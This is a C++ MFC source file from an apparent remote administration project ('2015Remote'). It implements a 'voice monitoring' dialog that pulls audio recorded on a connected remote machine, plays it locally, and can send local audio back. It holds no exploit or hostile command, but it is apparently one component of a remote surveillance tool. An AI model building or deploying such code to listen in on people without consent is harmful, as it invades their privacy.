// AudioDlg.cpp : 实现文件 // #include "stdafx.h" #include "2015Remote.h" #include "AudioDlg.h" #include "afxdialogex.h" // CAudioDlg 对话框 IMPLEMENT_DYNAMIC(CAudioDlg, CDialog) CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) : DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO) , m_bSend(FALSE) { m_bIsWorking = TRUE; m_bThreadRun = FALSE; m_hWorkThread = NULL; m_nTotalRecvBytes = 0; } CAudioDlg::~CAudioDlg() { m_bIsWorking = FALSE; while (m_bThreadRun) Sleep(50); } void CAudioDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); DDX_Check(pDX, IDC_CHECK, m_bSend); } BEGIN_MESSAGE_MAP(CAudioDlg, CDialog) ON_WM_CLOSE() ON_BN_CLICKED(IDC_CHECK, &CAudioDlg::OnBnClickedCheck) END_MESSAGE_MAP() // CAudioDlg 消息处理程序 BOOL CAudioDlg::OnInitDialog() { CDialog::OnInitDialog(); SetIcon(m_hIcon,FALSE); CString strString; strString.Format("%s - 语音监听", m_IPAddress); SetWindowText(strString); BYTE bToken = COMMAND_NEXT; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); //启动线程 判断CheckBox m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); m_bThreadRun = m_hWorkThread ? TRUE : FALSE; GetDlgItem(IDC_CHECK)->EnableWindow(TRUE); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE } DWORD CAudioDlg::WorkThread(LPVOID lParam) { CAudioDlg *This = (CAudioDlg *)lParam; while (This->m_bIsWorking) { if (!This->m_bSend) { WAIT_n(This->m_bIsWorking, 1, 50); continue; } DWORD dwBufferSize = 0; LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音 if (szBuffer != NULL && dwBufferSize > 0) This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //没有消息头 } This->m_bThreadRun = FALSE; return 0; } void CAudioDlg::OnReceiveComplete(void) { m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1 CString strString; strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024); SetDlgItemText(IDC_TIPS, strString); switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_AUDIO_DATA: { Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //播放波形数据 break; } default: // 传输发生异常数据 break; } } void CAudioDlg::OnClose() { CancelIO(); // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; } m_bIsWorking = FALSE; WaitForSingleObject(m_hWorkThread, INFINITE); DialogBase::OnClose(); } // 处理是否发送本地语音到远程 void CAudioDlg::OnBnClickedCheck() { UpdateData(true); }